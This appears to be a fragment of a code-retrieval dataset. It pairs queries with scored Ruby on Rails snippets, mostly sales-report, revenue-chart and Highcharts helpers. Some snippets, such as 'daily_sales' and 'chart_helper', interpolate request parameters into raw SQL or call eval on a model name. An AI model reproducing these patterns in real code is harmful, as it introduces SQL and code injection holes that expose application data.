data['exception']['message']\n assert_kind_of Array, data['exception']['backtrace']\n assert_equal 'TestApp::Error', data['exception']['exception_class']\n end", "title": "" }, { "docid": "97049bc1a1e95ef178ae244db0dee415", "score": "0.5002628", "text": "def ensure_full_data!\n # Do nothing because we trust the gapi is full before we get here.\n end", "title": "" }, { "docid": "a0671a41bc12400a6b0a1a2676b561cc", "score": "0.50006336", "text": "def added_extras; end", "title": "" }, { "docid": "37b4b4c2211aabd1e42def316634f57c", "score": "0.49993387", "text": "def pre_insert(_entity)\n end", "title": "" }, { "docid": "c2f95866f87c4b31d6de9bab6dbeef2d", "score": "0.4996818", "text": "def verifiable_info\n {}\n end", "title": "" }, { "docid": "b90e73b3cffe6e92a1a0af47a7d22963", "score": "0.49897414", "text": "def complete_details_for_new_user_correctly\r\n\t\tself.registration_userid = Pagedata.register_new_userid\r\n\t\tself.registration_email_address = Pagedata.register_new_userid_email_first_part\r\n\t\tself.registration_email_domain = \"@atos.net\"\r\n\t\tself.get_activation_code\r\n\tend", "title": "" } ]
37ca407327a2d866282cc471f5dd4aee
Usage example: sales_results = chart_helper(first_day_s, end_day_s,'sale',['total','total_cost']) sales = sales_results[0] array with sales per day sales_total = sales_results[1][0] sales_total_cost = sales_results[1][1]
[ { "docid": "9d3c05129a60d4388ae6000184fe2653", "score": "0.6448327", "text": "def chart_helper(start_date, end_date, model, columns, date='created_at', where_modifier = '',join_modifier='', group='')\n statement = build_statement(start_date, end_date, model, columns, date, where_modifier,join_modifier,group)\n results=eval(model.capitalize).find_by_sql(statement)\n sums=Array.new columns.length\n index=0\n columns.each do |c|\n sum=0\n results.each do |r|\n r[c]=zero_if_nil r[c]\n sum+=r[c]\n end\n sums[index]=sum\n index+=1\n end\n [results, sums]\n end", "title": "" } ]
[ { "docid": "7070760550a7db8adb525d61c8384918", "score": "0.6590058", "text": "def chart_data\n @chart_data ||= if @action == 'gross_sales'\n gross_sales_chart_data\n else\n [].tap do |result|\n Event.where(action: @action).group('DATE(created_at)').order('date_created_at ASC').count.each do |date, count|\n result << {x: date.to_time(:utc).beginning_of_day.to_i, y: count}\n end\n end\n end\n end", "title": "" }, { "docid": "cd49485b247318dbbc506a0fab130c1c", "score": "0.65081364", "text": "def get_cumulative_revenue_by_day_of_month_series_summary\n revenue_by_day_of_month_series = []\n\n # Last year this month\n last_year_this_month = Date.new(get_last_sale_date.year - 1, get_last_sale_date.month, 1)\n last_year_this_month_revenue_by_day_of_month = []\n get_days_of_month_array_by_month(last_year_this_month).each do |day|\n last_year_this_month_revenue_by_day_of_month.push(get_cumulative_revenue_by_day_of_month(day, last_year_this_month))\n end\n revenue_by_day_of_month_series.push({\n 'name' => last_year_this_month.strftime(\"%b %Y\"), \n 'data' => last_year_this_month_revenue_by_day_of_month,\n 'color' => '#E27AA0',\n 'marker' => {\n 'enabled' => false\n },\n 'dashStyle' => 'ShortDot'\n })\n\n # Last 3 months\n previous_month = get_last_sale_date.prev_month\n previous_month = Date.new(previous_month.year, previous_month.month, 1)\n six_months_ago = previous_month - 2.months\n six_months_ago = Date.new(six_months_ago.year, six_months_ago.month, 1)\n get_months(six_months_ago, previous_month).each_with_index do |month, index|\n revenue_by_day_of_month = []\n get_days_of_month_array_by_month(month).each do |day|\n revenue_by_day_of_month.push(get_cumulative_revenue_by_day_of_month(day, month))\n end\n revenue_by_day_of_month_series.push({\n 'name' => month.strftime(\"%b %Y\"), \n 'data' => revenue_by_day_of_month,\n 'lineWidth' => 1,\n 'marker' => {\n 'enabled' => false\n }\n })\n end\n\n # Current month\n current_month = Date.new(get_last_sale_date.year, get_last_sale_date.month, 1)\n current_month_revenue_by_day_of_month = []\n get_days_of_month_array_by_month(current_month).each do |day|\n current_month_revenue_by_day_of_month.push(get_cumulative_revenue_by_day_of_month(day, current_month))\n end\n revenue_by_day_of_month_series.push({\n 'name' => current_month.strftime(\"%b %Y\"), \n 'data' => current_month_revenue_by_day_of_month,\n 'type' => 'column',\n 'borderWidth' => 0,\n 'color' => '#F0A4C0',\n 'marker' => {\n 'enabled' => false\n }\n })\n\n # Project current month's trajectory\n projected_revenue_by_day_of_month = []\n projected_revenue = 0.0\n get_days_of_month_array.each do |day|\n projected_revenue = projected_revenue + get_average_daily_revenue_by_month(current_month)\n projected_revenue_by_day_of_month.push(projected_revenue)\n end\n revenue_by_day_of_month_series.push({\n 'name' => current_month.strftime(\"%b %Y Projected\"), \n 'data' => projected_revenue_by_day_of_month,\n 'type' => 'line',\n 'dashStyle' => 'ShortDash',\n 'lineWidth' => 2,\n 'color' => '#BA0E4D',\n 'marker' => {\n 'enabled' => false\n }\n })\n\n # Ideal month\n ideal_month_revenue_by_day_of_month = []\n ideal_month_days_revenue = 0.0\n get_days_of_month_array.each do |day|\n ideal_month_days_revenue = ideal_month_days_revenue + get_daily_revenue_goal_by_month(current_month)\n ideal_month_revenue_by_day_of_month.push(ideal_month_days_revenue)\n end\n revenue_by_day_of_month_series.push({\n 'name' => current_month.strftime(\"%b %Y Goal\"), \n 'data' => ideal_month_revenue_by_day_of_month,\n 'type' => 'line',\n 'lineWidth' => 2,\n 'color' => '#BA0E4D',\n 'marker' => {\n 'enabled' => false\n }\n })\n\n # TO DO: Get average 3 months\n # TO DO: Get average 6 months\n # TO DO: Get average 2015, 2016, 2017 revenue by day\n\n return revenue_by_day_of_month_series.to_json\n end", "title": "" }, { "docid": "99dcaec1eedbf180af2ef355ea670bd1", "score": "0.63960314", "text": "def sales_dashboard\n # Date selected by user , default is today's date\n date_given = return_date_given(params)\n\n @dates_this_week = this_week(date_given)\n @dates_last_week = last_week(@dates_this_week[0])\n\n sum_function, @param_val, @sum_params = sum_function_orders(params[:sum_param], \"Order Totals\") \n\n # returns a hashmap like { date => order_totals }\n @sum_this_week = sum_orders(@dates_this_week[0], @dates_this_week[-1], :group_by_date_created, sum_function, nil)\n @sum_last_week = sum_orders(@dates_last_week[0], @dates_last_week[-1], :group_by_date_created, sum_function, nil)\n \n @dates_paired_this_week = make_daily_dates_map(@dates_this_week)\n @dates_paired_last_week = make_daily_dates_map(@dates_last_week)\n\n # returns a hashmap like { [staff_id, date] => order_totals }\n\n staff_id, @staff_nicknames = display_reports_for_sales_dashboard(session[:user_id])\n \n @staff_sum_this_week = sum_orders(@dates_this_week[0], @dates_this_week[-1], :group_by_date_created_and_staff_id, sum_function, staff_id)\n #@staff_nicknames = Staff.active_sales_staff.nickname.to_h\n @staff_sum_this_week\n end", "title": "" }, { "docid": "a76fde2ac84d83adeeedb4cfd1e04866", "score": "0.63448584", "text": "def daily_sales\n sql = <<-EOF\n select date(shp.created_at), count(*), sum(o.total)\n from store_shipments shp\n join store_orders o on o.id = shp.order_id\n where shp.created_at > '#{@start_date}' and shp.created_at < '#{@end_date}'\n and o.sales_channel LIKE '#{@selected_channel}'\n #{\"and shp.fulfilled_by_id=\" + params[:affiliate_id] if params[:affiliate_id].present?}\n group by date(shp.created_at)\n order by date(shp.created_at) desc;\n EOF\n\n @data = []\n ActiveRecord::Base.connection.execute(sql).each { |row| @data << row }\n end", "title": "" }, { "docid": "e40b0ecaf30d77a5db914981d05eecde", "score": "0.6207562", "text": "def sales_info(dates, site)\n\tparams, orders_ids, orders_names, all_skus, orders_request, orders = [],[],[],[],[],[]\n\torders_amount = 0\n\n\tparams.clear.push(['status', 'any'], ['financial_status', 'paid'],['created_at_min', dates])\n\torders_count = JSON.parse(request(site,'get', \"/orders/count\", params).body)\n\tpage_count = (orders_count['count']/250.to_f).ceil\n\t\n\tif page_count > 1\n\t\ti = 1\n\t\twhile i < page_count + 1\n\t\t\tparams.clear.push(['status', 'any'], ['financial_status', 'paid'],['created_at_min', dates],['limit', '250'],['page', i])\t\n\t\t\torders_request.push(request(site,'get', \"/orders\", params).body)\n\t\t\ti +=1\n\t\tend\n\n\t\torders_request.each do |request|\n\t\t\thashed_request = JSON.parse(request)\n\t\t\thashed_request['orders'].each do |ind_order|\n\t\t\t\torders << ind_order\n\t\t\tend\n\t\tend\n\n\t\torders.each do |order|\n\t\t\torders_names.push(order['name'])\n\t\t\torders_ids.push(order['id'])\n\t\t\torder['line_items'].each {|line| all_skus.push(line['sku'])}\n\t\tend\n\n\telse\n\t\tparams.clear.push(['status', 'any'], ['financial_status', 'paid'],['created_at_min', dates],['limit', '250'])\n\t\torders = JSON.parse(request(site,'get', \"/orders\", params).body)\n\t\torders['orders'].each do |order|\n\t\t\torders_names.push(order['name'])\n\t\t\torders_ids.push(order['id'])\n\t\t\torder['line_items'].each {|line| all_skus.push(line['sku'])}\n\t\tend\n\tend\n\n\tsales_info = {\n\t\t\"count\" => orders_count['count'],\n\t\t\"order_ids\" => orders_ids,\n\t\t\"order_numbers\" => orders_names,\n\t\t\"refund_amounts\" => orders_amount,\n\t\t\"skus\" => all_skus\n\t}\nend", "title": "" }, { "docid": "0df56fa39acf70ddacbc7c40a23f7d95", "score": "0.6172865", "text": "def index\n @sales_all = Sale.group_by_month(:sale_date, last: 12).sum(:price)\n @sales_amount_month = Sale.group_by_month(:sale_date, last: 12).sum(:amount)\n @sales_average = Sale.group_by_month(:sale_date, last: 12).average(:amount)\n \n @sales_amount12 = Sale.where('sale_date > ?', 1.year.ago).group(:origin).count\n\n @sales_amount6 = Sale.where('sale_date > ?', 6.month.ago).group(:origin).count\n\n @sales_amount3 = Sale.where('sale_date > ?', 3.month.ago).group(:origin).count\n\n @sales_amount1 = Sale.where('sale_date > ?', 1.month.ago).group(:origin).count\n\n @sales_blend_coffee12 = Sale.where('sale_date > ?', 1.year.ago).group(:blend_coffee).count \n \n @sales_blend_coffee6 = Sale.where('sale_date > ?', 6.month.ago).group(:blend_coffee).count \n\n @sales_blend_coffee3 = Sale.where('sale_date > ?', 3.month.ago).group(:blend_coffee).count \n\n @sales_blend_coffee1 = Sale.where('sale_date > ?', 1.month.ago).group(:blend_coffee).count\n end", "title": "" }, { "docid": "1f88d086552a07d774a3cb692bf7f960", "score": "0.61257255", "text": "def get_report\n @results = []\n flat_sales = Hash.new\n @start_date = DateTime.parse(params[\"flat_booking\"][\"start_date(1i)\"] + \"-\" + params[\"flat_booking\"][\"start_date(2i)\"] + \"-\" + params[\"flat_booking\"][\"start_date(3i)\"])\n @end_date = DateTime.parse(params[\"flat_booking\"][\"end_date(1i)\"] + \"-\" + params[\"flat_booking\"][\"end_date(2i)\"] + \"-\" + params[\"flat_booking\"][\"end_date(3i)\"])\n \n flats = FlatBooking.where(\"date_of_booking < ? AND date_of_booking >= ?\", @end_date, @start_date)\n \n if params[\"flat_booking\"][\"report_type\"] == \"monthly_sales\"\n flat_sales = flats.group_by {|e| e.date_of_booking.strftime('%Y-%b')}\n elsif params[\"flat_booking\"][\"report_type\"] == \"yearly_sales\"\n flat_sales = flats.group_by {|e| e.date_of_booking.strftime('%Y')}\n end\n flat_sales.each{|k,v| @results << {\"#{k}\" => v.inject(0){|sum,x| sum + (x.agreement_amount + (x.area * x.base_price))} }}\n redirect_to action: 'show_data', results: @results\n end", "title": "" }, { "docid": "e8ad15943503d8a1f87c230f9087f811", "score": "0.6056178", "text": "def sales_info\n \n ### Incomes ###\n @orders = Order.current_week\n @today_sales = Order.current_day.sum(:total_price) \n\t@week_sales = Order.current_week.sum(:total_price) \n\t@month_sales = Order.current_month.sum(:total_price) \n\t\n\t### Payments,expenses###\n\t@week_expenses = Payment.current_week\n\t\nend", "title": "" }, { "docid": "da62fd964a7c0b0de4b5e7c43aeb2b22", "score": "0.6048259", "text": "def sales\n end", "title": "" }, { "docid": "3339f2fa42fab74ed3221c91129c05ea", "score": "0.6027514", "text": "def custom_prod_dated(results)\n # Check for empty results set\n if !(results.present?)\n return\n end\n\n # Get months and years for x-axis labels\n labels = []\n results.each do |row|\n month = row[\"month\"]\n year = row[\"year\"]\n label = month.to_s + \"/\" + year.to_s[-2..-1]\n labels |= [label]\n end\n\n # Get product labels\n products = []\n results.each do |row|\n # Uniquely appends each product type\n products |= [row[\"product\"]]\n end\n\n # Get empty array with enough room for each unique month/year\n date_set = []\n for x in labels do\n date_set << 0\n end\n\n datasets = []\n for i in products do\n ind = 0\n data = []\n data += date_set\n results.each do |row|\n if row[\"product\"] == i\n # While month or year are not the same (and still in range of labels)\n while (ind < labels.size-1 &&\n (row[\"year\"].to_s[-2..-1] != labels[ind][-2..-1] ||\n row[\"month\"].to_s != labels[ind].split(\"/\")[0]))\n data[ind] = 0\n ind += 1\n end\n if (ind < labels.size)\n if (row[\"year\"].to_s[-2..-1] == labels[ind][-2..-1] &&\n row[\"month\"].to_s == labels[ind].split(\"/\")[0])\n data[ind] = row[\"month_count\"]\n end\n end\n ind += 1\n end\n end\n datasets << data.reverse\n end\n # Put labels in chronological order\n labels = labels.reverse\n\n # At this point, datasets is two-dimensional array\n # Each internal array includes the data for each product\n # [[1, 2, 3,...], [1, 2, 3,...]] \n # First array is Product A, month/year combination 1, 2, 3,...;\n # Second array is Product B, etc.\n \n # Generate the data blocks\n datablocks = [];\n products_index = 0;\n for i in datasets do\n block = {}\n block[\"data\"] = i\n block[\"label\"] = products[products_index]\n block[\"borderColor\"] = get_color(products_index)\n block[\"fill\"] = false\n block[\"x_axis\"] = labels\n datablocks << block\n products_index += 1\n end\n return datablocks\n end", "title": "" }, { "docid": "0585afe6b06cdf24d0c27036c17b8429", "score": "0.60158336", "text": "def multi_line_chart\n #Group data by month\n users = User.where(:created_at.gt => START_OF_MONTH_FOR_HOME_PAGE_REPORT, :created_at.lte => Date.today, auto_created: false).group_by{|u| u.created_at.strftime(REPORT_DATE_FORMAT)}\n contributions = Transaction.where(:created_at.gt => START_OF_MONTH_FOR_HOME_PAGE_REPORT, :created_at.lte => Date.today, :transaction_type.in => ['royalty_bonus', 'Round']).group_by{|u| u.created_at.strftime(REPORT_DATE_FORMAT)}\n #redemptions = Transaction.where(:created_at.gt => START_OF_MONTH_FOR_HOME_PAGE_REPORT, :created_at.lte => Date.today, :transaction_type => 'redeem_points').group_by{|u| u.created_at.strftime(REPORT_DATE_FORMAT)}\n\n @user_trend = []\n @contribution_trend = []\n @redemption_trend = []\n @xAxis = []\n\n i = START_MONTH\n while(i >= 0) do\n @xAxis << i.months.ago.beginning_of_month.strftime(REPORT_DATE_FORMAT)\n i = i - 1\n end\n\n \n sum = 0\n #cummulative sum\n users.map{ |user| @user_trend << sum += user[1].size}\n \n sum = 0\n contributions.map{ |contribution| @contribution_trend << contribution[1].sum(&:points)}\n \n sum = 0\n #redemptions.map{ |redemption| @redemption_trend << sum += (redemption[1].sum(&:points).abs/REDEEM['one_dollar_to_points'])}\n\n index = 0\n @xAxis.each{ |value|\n #Fill in 0 or previous value for those don't have any value for that \n #specific month, otherwise the report will show mismatched axis values.\n if !users.keys.include?(value)\n if index == 0\n @user_trend.insert(index,0)\n elsif\n\t @user_trend.insert(index,@user_trend[index-1])\n end\n end\n #Fill in 0 for those don't have any value for that specific month, \n #otherwise the report will show mismatched axis values.\n if contributions.keys.index(value).blank?\n @contribution_trend.insert(index,0)\n end\n #if redemptions.keys.index(value).blank?\n #@redemption_trend.insert(index,0)\n #end\n index = index + 1\n }\n end", "title": "" }, { "docid": "bb87f975a8c9c5b3a80c22a48dbc3164", "score": "0.5999598", "text": "def index\n @sales = Sale.all\n @sales_display = Sale.order('day DESC').all\n @sales_enter = Sale.order('day ASC').all\n\n @week_b = Date.today.at_beginning_of_week - 64.days\n @week_e = Date.today.at_end_of_week\n @dates = Sale.where('day > ?', @week_b).where('day < ?', @week_e + 1.day).order('day ASC').pluck(:day)\n\n\n @sales_seq = Sale.where('day > ?', @week_b).where('day < ?', @week_e + 1.day).order('day ASC').all\n # @sales_seq = Sale.where('day > ?', @week_b).where('day < ?', @week_e + 1.day).order('day ASC').pluck(:sequoia)\n @test = Sale.where('day > ?', @week_b).where('day < ?', @week_e + 1.day).order('day ASC').pluck(:day)\n\n #DAYS of the WEEK\n @mon = []\n @tue = []\n @wed = []\n @thu = []\n @fri = []\n @sat = []\n @sun = []\n @sales_seq.each do |i|\n i.day.wday == 1 ? @mon.push(i.sequoia) : ''\n i.day.wday == 2 ? @tue.push(i.sequoia) : ''\n i.day.wday == 3 ? @wed.push(i.sequoia) : ''\n i.day.wday == 4 ? @thu.push(i.sequoia) : ''\n i.day.wday == 5 ? @fri.push(i.sequoia) : ''\n i.day.wday == 6 ? @sat.push(i.sequoia) : ''\n i.day.wday == 0 ? @sun.push(i.sequoia) : ''\n end\n\n# EXPORT\n respond_to do |format|\n format.html\n format.csv { send_data @sales.to_csv, filename: \"sales-#{Date.today}.csv\" }\n end\n#EXPORT\nyear_change\ntable_2\n end", "title": "" }, { "docid": "6700446052dea0afc623feaf0021c97f", "score": "0.59510803", "text": "def index\n # loading all data at once is to avoid multiple request on server\n if(params[:fromDate] != nil and params[:toDate] != nil)\n ##\n # render list of units, basically when user select long date range\n # it will show so long list of days and will make points and whole chart\n # looks so ugly, so I made it to change the display base of the date range\n # length, if it's > 7 days and less than 60 days show weeks instead of days\n # if its's > 60 days and < than 360 days then it will display months\n # instead of days, and if it's more than 360 days, it will display years\n # inseated of days\n ##\n\n from = DateTime.parse(params[:fromDate])\n to = DateTime.parse(params[:toDate])\n diff = (from...to).count\n if(diff.between?(7, 60))\n @activity_installs = Report.select(\"sum(installs) as y, YEARWEEK(date) as x\").group('x').where(:date => from..to)\n @activity_clicks = Report.select(\"sum(clicks) as y, YEARWEEK(date) as x\").group('x').where(:date => from..to)\n @activity_impressions = Report.select(\"sum(impressions) as y, YEARWEEK(date) as x\").group('x').where(:date => from..to)\n @date_unit = \"week\"\n elsif(diff.between?(60, 360))\n @activity_installs = Report.select(\"sum(installs) as y, MONTH(date) as x\").group('x').where(:date => from..to)\n @activity_clicks = Report.select(\"sum(clicks) as y, MONTH(date) as x\").group('x').where(:date => from..to)\n @activity_impressions = Report.select(\"sum(impressions) as y, MONTH(date) as x\").group('x').where(:date => from..to)\n @date_unit = \"month\"\n elsif(diff > 360)\n @activity_installs = Report.select(\"sum(installs) as y, YEAR(date) as x\").group('x').where(:date => from..to)\n @activity_clicks = Report.select(\"sum(clicks) as y, YEAR(date) as x\").group('x').where(:date => from..to)\n @activity_impressions = Report.select(\"sum(impressions) as y, YEAR(date) as x\").group('x').where(:date => from..to)\n @date_unit = \"year\"\n else\n @activity_installs = Report.select(\"sum(installs) as y, date as x\").group('x').where(:date => from..to)\n @activity_clicks = Report.select(\"sum(clicks) as y, date as x\").group('x').where(:date => from..to)\n @activity_impressions = Report.select(\"sum(impressions) as y, date as x\").group('x').where(:date => from..to)\n @date_unit = \"day\"\n end\n else\n @total_clicks = Report.sum(:clicks)\n @total_impressions = Report.sum(:impressions)\n @total_installs = Report.sum(:installs)\n @total_cost_micros = Report.sum(:cost_micros)\n @total_advertisers = Advertiser.count\n @total_campaigns = Campaign.count\n @top_10_installs = Report.order('installs desc').limit(10)\n @top_10_clicks = Report.order('clicks desc').limit(10)\n @top_10_impressions = Report.order('impressions desc').limit(10)\n @advertisers_by_installs = Report.select(\"sum(installs) as value, advertiser_id\").group('advertiser_id').order('value desc')\n @advertisers_by_clicks = Report.select(\"sum(clicks) as value, advertiser_id\").group('advertiser_id').order('value desc')\n @advertisers_by_impressions = Report.select(\"sum(impressions) as value, advertiser_id\").group('advertiser_id').order('value desc')\n @advertisers_by_costs = Report.select(\"sum(cost_micros) as value, advertiser_id\").group('advertiser_id').order('value desc')\n @activity_installs = Report.select(\"sum(installs) as y, date as x\").group('x').where(\"date > ?\", Time.now-7.days)\n @activity_clicks = Report.select(\"sum(clicks) as y, date as x\").group('x').where(\"date > ?\", Time.now-7.days)\n @activity_impressions = Report.select(\"sum(impressions) as y, date as x\").group('x').where(\"date > ?\", Time.now-7.days)\n @date_unit = \"day\"\n end\n end", "title": "" }, { "docid": "21d14504561655d5a31675bf45398afb", "score": "0.59117174", "text": "def chart_data\n date_from = (params[:q].nil? or params[:q][:issue_date_gteq].empty?) ? 30.days.ago.to_date : Date.parse(params[:q][:issue_date_gteq])\n date_to = (params[:q].nil? or params[:q][:issue_date_lteq].empty?) ? Date.current : Date.parse(params[:q][:issue_date_lteq])\n\n scope = @search.result.where(draft: false, failed: false).\\\n where(\"issue_date >= :date_from AND issue_date <= :date_to\",\n {date_from: date_from, date_to: date_to})\n scope = scope.tagged_with(params[:tags].split(/\\s*,\\s*/)) if params[:tags].present?\n scope = scope.select('issue_date, sum(gross_amount) as total').group('issue_date')\n\n # build all keys with 0 values for all\n @date_totals = {}\n\n (date_from..date_to).each do |day|\n @date_totals[day.to_formatted_s(:db)] = 0\n end\n\n scope.each do |inv|\n @date_totals[inv.issue_date.to_formatted_s(:db)] = inv.total\n end\n\n render\n end", "title": "" }, { "docid": "fca287483dfed5189e882ff11d88116d", "score": "0.58968246", "text": "def parse_chart_data(dates, prices)\n dates.zip(prices).to_h\n end", "title": "" }, { "docid": "0ce2387f49a429a84ad3edd3d7ab58a8", "score": "0.5890483", "text": "def index\n @sales = Sale.all\n @last_12_months_amount = Sale.last_sales_x_month(12).sum(:amount)\n @last_12_months_avg = Sale.last_sales_x_month(12).average(:amount)\n @last_12_months_qty = Sale.last_sales_x_month(12).count\n\n @sales_last_12_months_origin_count = Sale.last_sales(12, :origin)\n @sales_last_6_months_origin_count = Sale.last_sales(6, :origin)\n @sales_last_3_months_origin_count = Sale.last_sales(3, :origin)\n @sales_last_1_months_origin_count = Sale.last_sales(1, :origin)\n\n @sales_last_12_months_blend_count = Sale.last_sales(12, :blend_name)\n @sales_last_6_months_blend_count = Sale.last_sales(6, :blend_name)\n @sales_last_3_months_blend_count = Sale.last_sales(3, :blend_name)\n @sales_last_1_months_blend_count = Sale.last_sales(1, :blend_name)\n\n\n end", "title": "" }, { "docid": "a39d40d2ef0816adbe1c345793e77013", "score": "0.58861226", "text": "def dailyGraphs(array_daily,type)\n \n #array argument comes from params[:stat][:daily]\n if type == \"distance\"\n\n @chart = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(:text => \"Daily Distance Traveled\")\n f.xAxis(:categories => [\"0\", \"1\", \"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\",\"21\",\"22\",\"23\"])\n f.series(:name => \"Looking at Phone\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"lookingAtPhone\",\"distanceTraveled\"))\n f.series(:name => \"Walking\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"walking\",\"distanceTraveled\"))\n f.series(:name => \"Cycling\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"cycling\",\"distanceTraveled\"))\n f.series(:name => \"Standing\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"standing\",\"distanceTraveled\"))\n f.series(:name => \"Running\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"running\",\"distanceTraveled\"))\n\n f.yAxis [\n {:title => {:text => \"Meters Traveled\", :margin => 70} },\n ]\n\n f.legend(:align => 'right', :verticalAlign => 'top', :y => 75, :x => -50, :layout => 'vertical',)\n f.chart({:defaultSeriesType=>\"line\"})\n end\n\n elsif type == \"energy\"\n\n @chart = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(:text => \"Daily Energy Expanded\")\n f.xAxis(:categories => [\"0\", \"1\", \"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\",\"21\",\"22\",\"23\"])\n f.series(:name => \"Looking at Phone\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"lookingAtPhone\",\"energy\"))\n f.series(:name => \"Walking\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"walking\",\"energy\"))\n f.series(:name => \"Cycling\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"cycling\",\"energy\"))\n f.series(:name => \"Standing\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"standing\",\"energy\"))\n f.series(:name => \"Running\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"running\",\"energy\"))\n f.series(:name => \"Sitting\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"sitting\",\"energy\"))\n f.series(:name => \"Tilting\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"tilting\",\"energy\"))\n f.series(:name => \"Not using phone\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"notUsingPhone\",\"energy\"))\n f.series(:name => \"Laying\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"laying\",\"energy\"))\n\n f.yAxis [\n {:title => {:text => \"Kcal burned\", :margin => 70} },\n ]\n\n f.legend(:align => 'right', :verticalAlign => 'top', :y => 75, :x => -50, :layout => 'vertical',)\n f.chart({:defaultSeriesType=>\"line\"})\n end\n\n elsif type == \"steps\"\n\n @chart = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(:text => \"Daily Steps\")\n f.xAxis(:categories => [\"0\", \"1\", \"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\",\"21\",\"22\",\"23\"])\n f.series(:name => \"Looking at Phone\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"lookingAtPhone\",\"steps\"))\n f.series(:name => \"Walking\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"walking\",\"steps\"))\n f.series(:name => \"Cycling\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"cycling\",\"steps\"))\n f.series(:name => \"Standing\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"standing\",\"steps\"))\n f.series(:name => \"Running\", :yAxis => 0, :data => build__daily_array_values(array_daily,\"running\",\"steps\"))\n\n f.yAxis [\n {:title => {:text => \"Number of steps\", :margin => 70} },\n ]\n\n f.legend(:align => 'right', :verticalAlign => 'top', :y => 75, :x => -50, :layout => 'vertical',)\n f.chart({:defaultSeriesType=>\"line\"})\n end\n end\n\n return @chart\n end", "title": "" }, { "docid": "cc501a45e6df5a9b64da30482cc7fd0b", "score": "0.58752507", "text": "def sales(args = {})\n begin\n do_get(AppFigures::API::SALES, args)\n rescue Exception => e\n puts e.message\n puts e.backtrace\n end\n end", "title": "" }, { "docid": "3c08529f63aaacb744d2a49963dad336", "score": "0.5840637", "text": "def getchart2()\n # Retrieve the data from the query parameters\n selectedYear = params[\"year\"].to_i\n software = params[\"software\"].split(\",\").map! {|a| a.to_f }\n hardware = params[\"hardware\"].split(\",\").map! {|a| a.to_f }\n services = params[\"services\"].split(\",\").map! {|a| a.to_f }\n\n #\n # Now we obtained the data into arrays, we can draw the chart using ChartDirector\n #\n\n # Create a XYChart object of size 600 x 300 pixels, with a light grey (eeeeee)\n # background, black border, 1 pixel 3D border effect and rounded corners.\n c = ChartDirector::XYChart.new(600, 300, 0xeeeeee, 0x000000, 1)\n c.setRoundedFrame()\n\n # Set the plotarea at (60, 60) and of size 520 x 200 pixels. Set background color\n # to white (ffffff) and border and grid colors to grey (cccccc)\n c.setPlotArea(60, 60, 520, 200, 0xffffff, -1, 0xcccccc, 0xccccccc)\n\n # Add a title to the chart using 15pts Times Bold Italic font, with a dark green\n # (006600) background and with glass lighting effects.\n c.addTitle(sprintf(\"Global Revenue for Year %s\", selectedYear), \"timesbi.ttf\", 15,\n 0xffffff).setBackground(0x006600, 0x000000, ChartDirector::glassEffect(\n ChartDirector::ReducedGlare))\n\n # Add a legend box at (70, 32) (top of the plotarea) with 9pts Arial Bold font\n c.addLegend(70, 32, false, \"arialbd.ttf\", 9).setBackground(\n ChartDirector::Transparent)\n\n # Add a stacked area chart layer using the supplied data\n layer = c.addAreaLayer2(ChartDirector::Stack)\n layer.addDataSet(software, 0x40ff0000, \"Software\")\n layer.addDataSet(hardware, 0x4000ff00, \"Hardware\")\n layer.addDataSet(services, 0x40ffaa00, \"Services\")\n\n # Set the area border color to the same as the fill color\n layer.setBorderColor(ChartDirector::SameAsMainColor)\n\n # Set the x axis labels. In this example, the labels must be Jan - Dec.\n labels = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sept\", \"Oct\",\n \"Nov\", \"Dec\"]\n c.xAxis().setLabels(labels)\n\n # Set the y axis title\n c.yAxis().setTitle(\"USD (Millions)\")\n\n # Set axes width to 2 pixels\n c.xAxis().setWidth(2)\n c.yAxis().setWidth(2)\n\n # output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "title": "" }, { "docid": "792af044957ac6763918236cff64a85e", "score": "0.5839524", "text": "def sales\n sales_data = Billing::Businessdocument.joins(:businessdocumentpositions)\n .by_year(@date)\n .group_by_month('businessdocuments.invoice_date')\n .sum('businessdocumentpositions.price_cents * businessdocumentpositions.amount / 100')\n sales_data.default = 0\n (1..12).map {|month| [month, sales_data[Date.new(@date.year, month, 1)]] }\n end", "title": "" }, { "docid": "1a8f11c70759e8247c216fe2cf3c982a", "score": "0.58231425", "text": "def sales; JSON[Api::get_sales(self)]; end", "title": "" }, { "docid": "3251eb58b82338d9ed5d74c9aa4c8d2d", "score": "0.58209157", "text": "def getchart1()\n # Retrieve the data from the query parameters\n selectedYear = params[\"year\"].to_i\n software = params[\"software\"].split(\",\").map! {|a| a.to_f }\n hardware = params[\"hardware\"].split(\",\").map! {|a| a.to_f }\n services = params[\"services\"].split(\",\").map! {|a| a.to_f }\n\n #\n # Now we obtained the data into arrays, we can draw the chart using ChartDirector\n #\n\n # Create a XYChart object of size 600 x 300 pixels, with a light grey (eeeeee)\n # background, black border, 1 pixel 3D border effect and rounded corners.\n c = ChartDirector::XYChart.new(600, 300, 